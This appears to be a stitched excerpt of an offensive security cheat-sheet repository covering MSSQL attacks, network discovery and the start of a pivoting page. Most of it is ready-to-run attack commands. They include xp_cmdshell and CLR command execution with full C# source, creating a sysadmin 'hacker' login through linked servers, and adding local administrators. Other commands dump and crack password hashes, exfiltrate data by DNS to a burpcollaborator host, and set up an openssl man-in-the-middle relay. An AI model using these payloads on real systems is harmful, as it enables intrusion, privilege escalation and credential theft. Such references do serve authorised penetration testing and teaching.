* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
* [Extended Stored Procedure](#extended-stored-procedure)
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
* [CLR Assemblies](#clr-assemblies)
* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
* [OLE Automation](#ole-automation)
* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
* [Agent Jobs](#agent-jobs)
* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
* [List All Jobs](#list-all-jobs)
* [External Scripts](#external-scripts)
* [Python](#python)
* [R](#r)
* [Audit Checks](#audit-checks)
* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
* [Manual SQL Server Queries](#manual-sql-server-queries)
* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
* [Current Role](#current-role)
* [Current DB](#current-db)
* [List all tables](#list-all-tables)
* [List all databases](#list-all-databases)
* [All Logins on Server](#all-logins-on-server)
* [All Database Users for a Database](#all-database-users-for-a-database)
* [List All Sysadmins](#list-all-sysadmins)
* [List All Database Roles](#list-all-database-role)
* [Effective Permissions from the Server](#effective-permissions-from-the-server)
* [Effective Permissions from the Database](#effective-permissions-from-the-database)
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
* [Exploiting Impersonation](#exploiting-impersonation)
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
* [References](#references)
## Tools
* [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server
* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.
## Identify Instances and Databases
### Discover Local SQL Server Instances
```ps1
Get-SQLInstanceLocal
```
### Discover Domain SQL Server Instances
```ps1
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
```
### Discover Remote SQL Server Instances
```ps1
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
```
### Identify Encrypted databases
Note: These are automatically decrypted for admins
```ps1
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
```
### Version Query
```ps1
Get-SQLInstanceDomain | Get-Query "select @@version"
```
## Identify Sensitive Information
### Get Tables from a Specific Database
```ps1
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
```
### Gather 5 Entries from Each Column
```ps1
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
```
### Gather 5 Entries from a Specific Table
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
```
### Dump common information from server to files
```ps1
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
```
## Linked Database
### Find Trusted Link
```sql
select * from master..sysservers
```
### Execute Query Through The Link
```sql
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
### Crawl Links for Instances in the Domain
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
```ps1
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers
```
### Crawl Links for a Specific Instance
```ps1
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
```
### Query Version of Linked Database
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
```
### Execute Procedure on Linked Database
```ps1
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
```
### Determine Names of Linked Databases
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
```
### Determine All the Tables Names from a Selected Linked Database
> The result is TableName which feeds into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
```
### Gather the Top 5 Columns from a Selected Linked Table
> The results are ColumnName and ColumnValue which feed into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
```
### Gather Entries from a Selected Linked Column
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
```
## Command Execution via xp_cmdshell
> xp_cmdshell disabled by default since SQL Server 2005
```ps1
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
```
* Manually execute the SQL query
```sql
EXEC xp_cmdshell "net user";
EXEC master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
* If the procedure was uninstalled
```sql
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
```
## Extended Stored Procedure
### Add the extended stored procedure and list extended stored procedures
```ps1
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
* Load the DLL
```sql
-- can also be loaded from UNC path or Webdav
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
EXEC xp_calc
sp_dropextendedproc 'xp_calc'
```
## CLR Assemblies
Prerequisites:
* sysadmin privileges
* CREATE ASSEMBLY permission (or)
* ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the **service account**.
### Execute commands using CLR assembly
```ps1
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
```
### Manually creating a CLR DLL and importing it
Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
```csharp
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
```
Then follow these instructions:
1. Enable `show advanced options` on the server
```sql
sp_configure 'show advanced options',1;
RECONFIGURE
GO
```
2. Enable CLR on the server
```sql
sp_configure 'clr enabled',1
RECONFIGURE
GO
```
3. Import the assembly
```sql
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
```
4. Link the assembly to a stored procedure
```sql
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
```
5. Execute and clean
```sql
cmd_exec "whoami"
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
```
**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
```sql
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
```
## OLE Automation
* :warning: Disabled by default
* The execution takes place with privileges of the **service account**.
### Execute commands using OLE automation procedures
```ps1
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
```
```ps1
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```
```powershell
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```
## Agent Jobs
* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
### Execute commands through SQL Agent Job service
```ps1
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
Subsystem CmdExec
-SubSystem PowerShell
Subsystem VBScript
Subsystem Jscript
```
```sql
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
```
### List All Jobs
```ps1
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
```
## External Scripts
:warning: You need to enable **external scripts**.
```sql
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
```
## Python:
```ps1
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
```
## R
```ps1
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
```
## Audit Checks
### Find and exploit impersonation opportunities
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
* Impersonate `dbo` with DB_OWNER
```sql
SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')
```
```ps1
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
```
## Find databases that have been configured as trustworthy
```sql
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
```
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
```ps1
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
```
## Manual SQL Server Queries
### Query Current User & determine if the user is a sysadmin
```sql
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
```
### Current Role
```sql
Select user
```
### Current DB
```sql
select db_name()
```
### List all tables
```sql
select table_name from information_schema.tables
```
### List all databases
```sql
select name from master..sysdatabases
```
### All Logins on Server
```sql
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
```
### All Database Users for a Database
```sql
Select * from sys.database_principals where type_desc != 'database_role';
```
### List All Sysadmins
```sql
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
```
### List All Database Roles
```sql
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
```
### Effective Permissions from the Server
```sql
select * from fn_my_permissions(null, 'server');
```
### Effective Permissions from the Database
```sql
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
```
### Find SQL Server Logins Which can be Impersonated for the Current Database
```sql
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
```
### Exploiting Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
```
### Exploiting Nested Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```
### MSSQL Accounts and Hashes
```sql
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
```ps1
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
```
## References
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)

View File

@ -0,0 +1,27 @@
# Miscellaneous & Tricks
All the tricks that couldn't be classified somewhere else.
## Send a message to another user
```powershell
# Windows
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
# Linux
$ wall "Stop messing with the XXX service !"
$ wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
$ who
$ write root pts/2 # press Ctrl+D after typing the message.
```
## CrackMapExec Credential Database
```ps1
cmedb (default) > workspace create test
cmedb (test) > workspace default
cmedb (test) > proto smb
cmedb (test)(smb) > creds
cmedb (test)(smb) > export creds csv /tmp/creds
```

View File

@ -0,0 +1,256 @@
# Network Discovery
## Summary
- [Nmap](#nmap)
- [Network Scan with nc and ping](#network-scan-with-nc-and-ping)
- [Spyse](#spyse)
- [Masscan](#masscan)
- [Netdiscover](#netdiscover)
- [Responder](#responder)
- [Bettercap](#bettercap)
- [Reconnoitre](#reconnoitre)
- [SSL MITM with OpenSSL](#ssl-mitm-with-openssl)
- [References](#references)
## Nmap
* Ping sweep (No port scan, No DNS resolution)
```powershell
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
-sn : Disable port scanning. Host discovery only.
-n : Never do DNS resolution
```
* Basic NMAP
```bash
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
```
* CTF NMAP
This configuration is enough to do a basic check for a CTF VM
```bash
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result
```
* Aggressive NMAP
```bash
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
```
* Using searchsploit to detect vulnerable services
```bash
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
```
* Generating nice scan report
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* NMAP Scripts
```bash
nmap -sC : equivalent to --script=default
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /.git/HEAD: Git folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
| METASPLOITABLE\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| METASPLOITABLE\bin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| METASPLOITABLE\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
List Nmap scripts : ls /usr/share/nmap/scripts/
```
## Network Scan with nc and ping
Sometimes we want to perform network scan without any tools like nmap. So we can use the commands `ping` and `nc` to check if a host is up and which port is open.
To check if hosts are up on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done
```
To check which ports are open on a specific host
```bash
for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done
```
Both at the same time on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done
```
Not in one-liner version:
```bash
for i in `seq 1 255`;
do
ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "192.168.1.$i is UP:";
for j in {21,22,80,139,443,445,3306,3389,8080,8443};
do
nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "\t192.168.1.$i has port $j open";
fi ;
done ;
fi ;
done
```
## Spyse
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
#### Searching for subdomains
```bash
spyse -target xbox.com --subdomains
```
#### Reverse IP Lookup
```bash
spyse -target 52.14.144.171 --domains-on-ip
```
#### Searching for SSL certificates
```bash
spyse -target hotmail.com --ssl-certificates
```
```bash
spyse -target "org: Microsoft" --ssl-certificates
```
#### Getting all DNS records
```bash
spyse -target xbox.com --dns-all
```
## Masscan
```powershell
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services information
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services information
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
```
## Reconnoitre
Dependencies:
* nbtscan
* nmap
```powershell
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick
```
If you have a segfault with nbtscan, read the following quote.
> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
## Netdiscover
```powershell
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
```
## Responder
```powershell
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
responder.py -I eth0 -wrf
```
Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
## Bettercap
```powershell
bettercap -X --proxy --proxy-https -T <target IP>
# better cap in spoofing, discovery, sniffer
# intercepting http and https requests,
# targetting specific IP only
```
## SSL MITM with OpenSSL
This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl.
If you can modify `/etc/hosts` of the client:
```powershell
sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client host
```
On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server):
```powershell
openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem
```
On our MITM server, we setup our infra:
```powershell
mkfifo response
sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response
```
In this example, traffic is only displayed with `tee` but we could modify it using `sed` for example.
## References
* [TODO](TODO)

View File

@ -0,0 +1,503 @@
# Network Pivoting Techniques
## Summary
* [SOCKS Compatibility Table](#socks-compatibility-table)
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
* [SSH](#ssh)
* [SOCKS Proxy](#socks-proxy)
* [Local Port Forwarding](#local-port-forwarding)
* [Remote Port Forwarding](#remote-port-forwarding)
* [Proxychains](#proxychains)
* [Graftcp](#graftcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit)
